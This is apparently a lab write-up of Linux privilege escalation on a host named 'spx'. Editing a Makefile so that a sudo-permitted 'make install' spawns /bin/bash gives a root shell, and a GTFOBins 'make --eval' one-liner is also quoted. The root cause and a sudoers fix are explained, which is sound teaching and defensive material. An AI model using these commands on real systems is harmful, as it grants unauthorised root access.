← Back to all writeups

Sudo Make Install — Privilege Escalation via Makefile

A sudo rule scoped to make install on a specific project directory looked safe, until I realized I could edit the Makefile itself and override the install target with a root shell.

sudomakegtfobinslinuxprivilege-escalation

make is one of those GTFOBins entries people underestimate, because on the surface it just “builds software.” But make doesn’t build anything on its own — it blindly executes whatever recipe a Makefile tells it to, and if you have write access to that Makefile, sudo access to make install is functionally sudo access to arbitrary shell commands.

I had a shell as a user called profiler on a box named spx, working inside a project directory called php-spx.


The Setup

profiler@spx:~/php-spx$ sudo -l
Matching Defaults entries for profiler on spx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User profiler may run the following commands on spx:
    (ALL) /usr/bin/make install -C /home/profiler/php-spx

This one requires a password re-prompt (no NOPASSWD), but since I already had profiler’s credentials, that wasn’t a blocker. The rule looks tightly scoped — it only allows make install inside one specific project directory. The catch is that profiler owns that directory, including the Makefile sitting inside it.


Enumeration — The Makefile Is the Attack Surface

make doesn’t know or care what “install” is supposed to mean — that’s entirely defined by whatever recipe follows the install: target in the Makefile. Since I had write access to the file, I could redefine that target to run anything I wanted.

nano Makefile
tail -5 Makefile

sudo -l showing the make install sudo rule, and the Makefile's install target overridden with /bin/bash

./spx.la: $(shared_objects_spx) $(SPX_SHARED_DEPENDENCIES)
        $(LIBTOOL) --mode=link $(CC) -shared $(COMMON_FLAGS) $(CFLAGS_CLEAN) $(EXTRA_CFLAGS) $(LDFLAGS)  -o $@ -export-dynamic -avoid-version -prefer-pic -module -rpath $(phplibdir) $(EXTRA_LDFLAGS) $(shared_objects_spx) $(SPX_SHARED_LIBADD)

install:
        /bin/bash

I appended a fresh install: target at the very end of the file, with a single recipe line: /bin/bash, indented with a tab (GNU Make requires the recipe body to be tab-indented — a stray space here silently breaks the rule). Appending it at the end of the file matters: GNU Make processes the file top-to-bottom, and when a target is redefined later in the same Makefile, the later recipe overrides the earlier one for that target, with only a warning printed to stderr. Since php-spx’s original install: recipe lived earlier in the file, mine at the bottom won.


Exploitation

sudo make install -C /home/profiler/php-spx

Make first resolves the dependency chain for the project’s shared library, running the legitimate libtool build/install steps exactly as it normally would — those are separate targets (spx.la and friends) that install depends on, and my override didn’t touch them:

sudo make install executing the overridden install target and dropping a root shell on spx

make: Entering directory '/home/profiler/php-spx'
/bin/sh /root/php-spx/libtool --mode=install cp ./spx.la /root/php-spx/modules
libtool: install: cp ./.libs/spx.so /root/php-spx/modules/spx.so
...
Installing shared extensions:     /usr/lib/php/20210902/
Installing SPX web UI to: /usr/share/misc/php-spx/assets/web-ui
/bin/bash
root@spx:/home/profiler/php-spx# id
uid=0(root) gid=0(root) groups=0(root)

Once every legitimate prerequisite finished, make finally reached the install: target itself — and ran my overridden recipe instead of the original one. /bin/bash executed as root, right there in the same session, since the entire make install invocation was running under sudo.


Why This Works

Sudo rules scoped to a specific command and directory ((ALL) /usr/bin/make install -C /home/profiler/php-spx) restrict what binary and where it runs, but they say nothing about the contents of the files that binary consumes. make is designed to execute arbitrary shell commands by design — that’s its entire purpose. Sudo has no visibility into the Makefile’s recipes; it only sees a permitted invocation of /usr/bin/make.

Because the target directory was writable by the same user granted sudo access to build inside it, the trust boundary sudo was trying to enforce (only profiler, only this directory, only make install) collapsed the moment profiler could redefine what “install” actually does.


Root Cause

The sudo rule granted execution rights over a command whose behavior is entirely determined by an attacker-writable configuration file. This is the same underlying flaw as sudo rules over interpreters, build tools, or any command that reads instructions from a file the low-privilege user controls — the command name being allowlisted means nothing if its behavior isn’t.

Fix: Never grant sudo access to build tools like make, cmake, or ninja over a directory the invoking user can write to. If a specific build step genuinely needs elevated privileges, wrap only the exact final command needed (e.g., a cp or install(1) call to a system directory) rather than delegating the entire build process:

# Bad
profiler ALL=(ALL) /usr/bin/make install -C /home/profiler/php-spx

# Better — scope sudo to the actual privileged action, not the build tool
profiler ALL=(root) NOPASSWD: /usr/bin/install -m 644 /home/profiler/php-spx/modules/spx.so /usr/lib/php/20210902/

Also worth noting: GTFOBins documents a near-identical technique that doesn’t even require editing a Makefile — make’s --eval flag lets you inject a target inline (sudo make -s --eval='x:\n\t-/bin/sh -p') whenever sudo access to make exists at all, writable Makefile or not.


Key Takeaways

  • Sudo access to make install (or any build tool) over a writable project directory is equivalent to sudo access to arbitrary shell commands
  • GNU Make silently overrides earlier target definitions with later ones in the same file — only a stderr warning marks the override, easy to miss
  • Recipe lines must be tab-indented; that’s a Makefile syntax detail worth remembering when crafting a malicious target by hand
  • Check GTFOBins for make’s --eval and -f based techniques — they work even without write access to an existing Makefile

Questions? Hit me up on X.